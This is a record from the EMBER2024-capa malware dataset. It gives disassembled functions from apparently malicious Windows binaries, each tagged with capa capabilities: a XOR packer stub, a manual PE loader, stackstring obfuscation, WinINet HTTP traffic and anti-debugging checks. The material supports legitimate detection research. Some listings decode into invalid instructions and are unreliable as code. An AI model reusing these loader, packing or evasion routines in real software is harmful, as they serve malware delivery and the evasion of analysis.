joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407d92
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x407dcd
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x407db4
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x407dc5
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x407dcf
inc edi
add eax, 0x28
cmp edi, esi
jb 0x407daa
xor eax, eax
pop edi
pop esi
ret

Function at 0x407e10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x3c]
add esi, edi
mov ebx, dword [esi + 0x78]
call fcn.00407d52
cld
test eax, 0x535680f7
call fcn.00407d92
pop ecx
test eax, eax
pop ecx
je 0x407ee5
push edi
push esi
push ebx
call fcn.00407dd2
add esp, 0xc
call fcn.00407d52
or byte [edi + 0x768b0cd5], 0x78
test esi, esi
je 0x407ee5
mov ebx, dword [esi + edi + 0x24]
add esi, edi
add ebx, edi
call fcn.00407d52
bound ecx, qword [esi + 0x20468ba1]
add eax, edi
mov edi, dword [esi + 0x1c]
add edi, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
shr eax, 0x10
test ax, ax
je 0x407ef4
and dword [ebp - 4], 0
xor ebx, ebx
mov dword [ebp - 0x10], edi
mov eax, dword [esi + 0x10]
add eax, ebx
cmp dword [ebp + 0xc], eax
jne 0x407f14
call fcn.00407d52
xor ah, byte [ebx]
ret 0x8bd7
mov eax, dword [esi + 0x14]
add dword [ebp - 0x10], 4
inc ebx
dec eax
cmp ebx, eax
invalid
Function at 0x408190
Capabilities:
Contain obfuscated stackstrings

Disassembly:
aam 0x88
pop ebp
aam 0x50
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x4081ed
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x4081ed
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00407d62
push eax
push esi
push dword [ebp + 8]
call fcn.00407d17
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00407d52
jns 0x408170
test dword [edx - 0x836278], eax
invalid
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00407d52
wait
out dx, eax
fdiv st(3)
lea eax, [ebp - 0x84]
push eax
call fcn.00407d62
push eax
push esi
push dword [ebp + 8]
call fcn.00407d17
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x40854b
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.00407cc3
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x4082c2
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.00407cc3
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x40828f
call fcn.00407d52
push esp
mov ecx, 0x7e8be560
cmp al, 3
dec byte [ecx - 0x8743]
dec dword [ebx + 0x8087]
add byte [ebx], bh
ret
Function at 0x4083a0
Capabilities:
Inspect section memory permissions

Disassembly:
cwde
outsd dx, dword [esi]
nop
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x408406
add eax, esi
cmp dword [eax], ebx
je 0x408406
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x408401
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x4083eb
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x4083f3
cmp edx, ebx
jne 0x408541
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x4083c2
add eax, dword [eax + 4]
jmp 0x4083af
mov dword [ebp + 0xc], ebx
jmp 0x408411
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x408429
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x408447
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4084a5
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40848c
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x408495
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40849f
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x408481
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40840b
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4084f2
dec eax
je 0x4084e9
sub eax, 3
je 0x4084e0
mov dword [ebp - 4], 0x40
jmp 0x40850f
mov dword [ebp - 4], 4
jmp 0x4084f5
mov dword [ebp - 4], 0x20
jmp 0x4084f5
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x408541
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4084c1
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00407d52
wait
dec ebp
cmp dh, dl
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x40854d
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c3f0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
push edi
push 0
push 0x426990
push 0x426990
push 0
push dword [ebp + 0xc]
mov edi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [edi + 0x30d5c], eax
test eax, eax
jne 0x40c42a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x30d68], eax
xor eax, eax
pop edi
pop ebp
ret 0x14
push 0
push 0x4400000
push 3
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [edi + 0x30d60], eax
test eax, eax
jne 0x40c46d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [edi + 0x30d5c]
mov dword [edi + 0x30d68], eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop ebp
ret 0x14
push 0
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x40c4a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [edi + 0x30d60]
mov dword [edi + 0x30d68], eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [edi + 0x30d5c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop ebp
ret 0x14
mov eax, 1
pop edi
pop ebp
ret 0x14
Function at 0x40c630
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4b00c
call fcn.0041c130
mov eax, dword [0x42b4d0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x4b003]
push edi
push 0x4afff
push 0
push eax
mov edi, ecx
mov byte [ebp - 0x4b004], 0
call fcn.0040ef90
add esp, 0xc
mov dword [ebp - 0x4b00c], 0x42750c
lea eax, [ebp - 0x4b00c]
mov dword [ebp - 0x4b008], 0
push 0
push 0x4400000
push eax
push 0x426990
push str.HTTP_1.0
push esi
push 0x42751c
push dword [edi + 0x30d60]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [edi + 0x30d64], eax
test eax, eax
jne 0x40c6d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x30d68], eax
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d1eb
mov esp, ebp
pop ebp
ret 4
mov esi, dword [edi + 0x10]
push ebx
mov ebx, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
cmp esi, dword [edi + 0x14]
jae 0x40c734
lea eax, [esi + 0x100]
push eax
push esi
lea eax, [ebp - 0x4b004]
push str._s:__s_r_n
push eax
call fcn.0040e9fd
lea eax, [ebp - 0x4b004]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40c707
push 0x10000000
sub eax, edx
push eax
lea eax, [ebp - 0x4b004]
push eax
push dword [edi + 0x30d64]
call ebx
test eax, eax
je 0x40c764
add esi, 0x4b104
cmp esi, dword [edi + 0x14]
jb 0x40c6e2
push SysReAllocString
push 0xd
push str.Accept:___r_n
push dword [edi + 0x30d64]
call ebx
test eax, eax
je 0x40c764
push 0
push 0
push 0
push 0
push dword [edi + 0x30d64]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x40c785
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
mov dword [edi + 0x30d68], eax
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d1eb
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
mov eax, 1
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040d1eb
mov esp, ebp
pop ebp
ret 4
Function at 0x40c7a0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x42b4d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
mov esi, dword [ebp + 0x10]
push edi
push 0x3ff
mov dword [ebp - 0x410], eax
mov edi, ecx
lea eax, [ebp - 0x403]
mov dword [ebp - 0x40c], esi
push 0
push eax
mov dword [ebp - 0x408], 0x186a0
mov byte [ebp - 0x404], 0
call fcn.0040ef90
add esp, 0xc
cmp dword [edi + 0x30d64], 0
jne 0x40c81e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x30d68], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d1eb
mov esp, ebp
pop ebp
ret 0x14
push 0x186a0
push 0
push esi
call fcn.0040ef90
add esp, 0xc
mov dword [ebx], 0
mov esi, dword [edi + 0x30d64]
test esi, esi
je 0x40c89e
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.0040ef90
add esp, 0xc
lea eax, [ebp - 0x404]
push 0x42dcf4
push 0x400
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40c89e
mov esi, dword [0x42dcf4]
test esi, esi
je 0x40c8aa
mov eax, dword [ebx]
cmp eax, 0x186a0
jae 0x40c8aa
add eax, dword [ebp - 0x40c]
lea ecx, [ebp - 0x404]
push esi
push ecx
push eax
call fcn.0040f020
add esp, 0xc
add dword [ebx], esi
jmp 0x40c834
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x30d68], eax
push dword [ebp - 0x408]
mov esi, dword [ebp - 0x410]
push 0
push esi
call fcn.0040ef90
add esp, 0xc
lea eax, [ebp - 0x408]
push 0
push eax
push esi
push 0x16
push dword [edi + 0x30d64]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x40c7fd
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1eb
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41b131
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b4d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0041129b
mov dword [ebp - 0x14], eax
cmp dword [0x42db94], esi
jne 0x41b224
push 0x800
push esi
push 0x426854
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41b1b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41b304
push esi
push esi
push 0x426854
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41b304
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b304
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42db94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42db98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42db9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42dba4], eax
test eax, eax
je 0x41b221
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42dba0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41b249
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41b23c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41b25e
push 4
pop eax
jmp 0x41b306
cmp dword [ebp - 0x14], esi
je 0x41b25e
push dword [0x42db94]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41b243
mov eax, dword [0x42dba0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41b2bc
cmp dword [0x42dba4], edi
je 0x41b2bc
push eax
call ebx
push dword [0x42dba4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41b2bc
test eax, eax
je 0x41b2bc
call ecx
test eax, eax
je 0x41b2b1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41b2b1
test byte [ebp - 8], 1
jne 0x41b2bc
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41b2ec
mov eax, dword [0x42db98]
cmp eax, edi
je 0x41b2e9
push eax
call ebx
test eax, eax
je 0x41b2e9
call eax
mov esi, eax
test esi, esi
je 0x41b2e9
mov eax, dword [0x42db9c]
cmp eax, edi
je 0x41b2e9
push eax
call ebx
test eax, eax
je 0x41b2e9
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42db94]
call ebx
test eax, eax
je 0x41b304
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41b306
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d1eb
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xfe270db
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3fc27af3
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x403470
Capabilities:
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x56847c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x403640
mov eax, dword [esp + 8]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x61707865
mov dword [eax + 8], 0x61707865
mov dword [eax + 0xc], 0x61707865
mov dword [eax + 0x10], 0x3320646e
mov dword [eax + 0x14], 0x3320646e
mov dword [eax + 0x18], 0x3320646e
mov dword [eax + 0x1c], 0x3320646e
mov dword [eax + 0x20], 0x79622d32
mov dword [eax + 0x24], 0x79622d32
mov dword [eax + 0x28], 0x79622d32
mov dword [eax + 0x2c], 0x79622d32
mov dword [eax + 0x30], 0x6b206574
mov dword [eax + 0x34], 0x6b206574
mov dword [eax + 0x38], 0x6b206574
mov dword [eax + 0x3c], 0x6b206574
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], edx
mov dword [eax + 0x48], edx
mov dword [eax + 0x4c], edx
mov edx, dword [ecx + 4]
mov dword [eax + 0x50], edx
mov dword [eax + 0x54], edx
mov dword [eax + 0x58], edx
mov dword [eax + 0x5c], edx
mov edx, dword [ecx + 8]
mov dword [eax + 0x60], edx
mov dword [eax + 0x64], edx
mov dword [eax + 0x68], edx
mov dword [eax + 0x6c], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0x70], edx
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], edx
mov dword [eax + 0x7c], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x80], edx
mov dword [eax + 0x84], edx
mov dword [eax + 0x88], edx
mov dword [eax + 0x8c], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x90], edx
mov dword [eax + 0x94], edx
mov dword [eax + 0x98], edx
mov dword [eax + 0x9c], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0xa0], edx
mov dword [eax + 0xa4], edx
mov dword [eax + 0xa8], edx
mov dword [eax + 0xac], edx
mov ecx, dword [ecx + 0x1c]
mov dword [eax + 0xb0], ecx
mov dword [eax + 0xb4], ecx
mov dword [eax + 0xb8], ecx
mov dword [eax + 0xbc], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 0xc0], ecx
lea edx, [ecx + 1]
mov dword [eax + 0xc4], edx
lea edx, [ecx + 2]
mov dword [eax + 0xc8], edx
add ecx, 3
mov dword [eax + 0xcc], ecx
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0
mov dword [eax + 0xd8], 0
mov dword [eax + 0xdc], 0
mov dword [eax + 0xe0], 0
mov dword [eax + 0xe4], 0
mov dword [eax + 0xe8], 0
mov dword [eax + 0xec], 0
mov dword [eax + 0xf0], 0
mov dword [eax + 0xf4], 0
mov dword [eax + 0xf8], 0
mov dword [eax + 0xfc], 0
ret
call fcn.00460d40
jmp fcn.00403470
Function at 0x40c810
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword [0x56847c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40c9db
sub esp, 0x38
mov eax, dword [esp + 0x3c]
cmp eax, 0x7000000
jle 0x40c839
mov eax, 0x7000000
jmp 0x40c841
test eax, eax
je 0x40c9b6
mov dword [esp + 0x34], eax
mov ecx, dword [0x56847c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x4a4]
mov ebx, dword [ecx + 0x4a8]
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
lea edx, [ebp + ebx]
shr edx, 6
inc edx
mov dword [ecx + 0x4a4], ebx
mov dword [ecx + 0x4a8], ebp
mov dword [esp], edx
call fcn.004620f0
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ecx, eax
shr ecx, 0x14
and ecx, 0x7ff
mov edx, eax
shr edx, 0xf
and edx, 0x1f
shl eax, 5
mov ebx, dword [esp + 0x24]
shr ebx, 0x1b
or ebx, eax
lea eax, [0x521bc0]
movsd xmm0, qword [eax + edx*8]
mov ebp, ecx
add ecx, 0xfffffc01
add edx, 1
mov esi, 0
adc esi, 0
test esi, esi
jne 0x40c9ce
cmp edx, 0x21
jae 0x40c9c2
movsd qword [esp + 0x14], xmm0
add ebp, 0xfffffc01
mov ebp, 0xffffffff
adc ebp, 0
and ebx, 0xfffff
mov dword [esp + 0x10], ebx
movsd xmm0, qword [eax + edx*8]
movsd qword [esp + 0x1c], xmm0
mov dword [esp], ecx
mov dword [esp + 4], ebp
call fcn.0045ca20
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x2c], xmm0
mov eax, dword [esp + 0x10]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.0045caf0
movsd xmm0, qword [esp + 0x2c]
movsd xmm1, qword [esp + 0x14]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x1c]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x4bdef8]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x4bdf38]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40c991
xorps xmm0, xmm0
mov eax, dword [esp + 0x34]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x4bdf68]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x40], eax
add esp, 0x38
ret
mov dword [esp + 0x40], 0
add esp, 0x38
ret
mov eax, edx
mov ecx, 0x21
call fcn.004621d0
mov eax, edx
mov ecx, 0x21
call fcn.00462260
nop
call fcn.00460d40
jmp fcn.0040c810
Function at 0x413b10
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword [0x56847c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x413d0e
sub esp, 0x18
mov eax, dword [0x5683bc]
test eax, eax
jne 0x413cf7
nop
nop
lea eax, [0x5683ac]
mov dword [esp], eax
call fcn.0040a3f0
mov eax, dword [0x5683b0]
test eax, eax
je 0x413b58
cmp dword [eax + 8], 0xcc
jne 0x413bce
mov edx, dword [0x5683b4]
test edx, edx
jne 0x413bb0
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x56ac70]
mov dword [esp + 8], eax
call fcn.0040c9f0
mov eax, dword [esp + 0xc]
mov dword [0x5683b4], eax
mov ecx, dword [0x5683b8]
mov dword [eax], ecx
mov eax, dword [0x5683b4]
mov dword [0x5683b8], eax
movzx eax, byte [0x5687e0]
test al, al
jne 0x413bb0
xor eax, eax
jmp 0x413cc8
mov edx, dword [0x5683b4]
mov ebx, dword [edx + 4]
mov dword [0x5683b4], ebx
mov ebx, dword [0x5683b0]
mov dword [edx + 4], ebx
mov dword [0x5683b0], edx
mov edx, dword [0x5683b0]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x413ca7
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00402ba0
mov eax, dword [0x568518]
mov ecx, dword [esp + 0x10]
lea ecx, [ecx + ecx*4]
test eax, eax
jne 0x413c20
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x28]
mov ebp, dword [esp + 0x2c]
jmp 0x413c60
call fcn.004621b0
mov eax, dword [esp + 0x20]
mov dword [edi], eax
mov edx, dword [esp + 0x14]
mov ebx, dword [edx + ecx*4 + 0x10]
mov dword [edi + 4], ebx
mov ebx, dword [esp + 0x28]
mov dword [edi + 8], ebx
mov ebp, dword [edx + ecx*4 + 0x1c]
mov dword [edi + 0xc], ebp
mov ebp, dword [esp + 0x2c]
mov dword [edi + 0x10], ebp
mov esi, dword [edx + ecx*4 + 0x20]
mov dword [edi + 0x14], esi
mov esi, dword [esp + 0x1c]
mov dword [edi + 0x18], esi
mov esi, dword [edx + ecx*4 + 0x14]
mov dword [edi + 0x1c], esi
mov dword [edx + ecx*4 + 0x10], eax
mov eax, dword [esp + 0x24]
mov dword [edx + ecx*4 + 0x18], eax
mov dword [edx + ecx*4 + 0x1c], ebx
mov dword [edx + ecx*4 + 0x20], ebp
mov eax, dword [esp + 0x1c]
mov dword [edx + ecx*4 + 0x14], eax
nop
nop
lea eax, [0x5683ac]
mov dword [esp], eax
call fcn.0040a610
nop
lea eax, [0x5683a8]
mov dword [esp], eax
mov dword [esp + 4], 8
call fcn.00402d20
add esp, 0x18
ret
mov ecx, 0xcc
call fcn.004621d0
lea edx, [0x521250]
movzx ebx, byte [edx + eax]
lea ebp, [0x5687e0]
mov byte [ebp + ecx], bl
lea eax, [ecx + 1]
cmp eax, 0x80
jge 0x413bb0
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
lea edx, [edx + edx*4]
mov eax, ecx
sub eax, edx
cmp eax, 5
jb 0x413cb1
mov ecx, 5
call fcn.004621c0
lea eax, [0x4a233e]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.004354c0
nop
call fcn.00460d40
jmp fcn.00413b10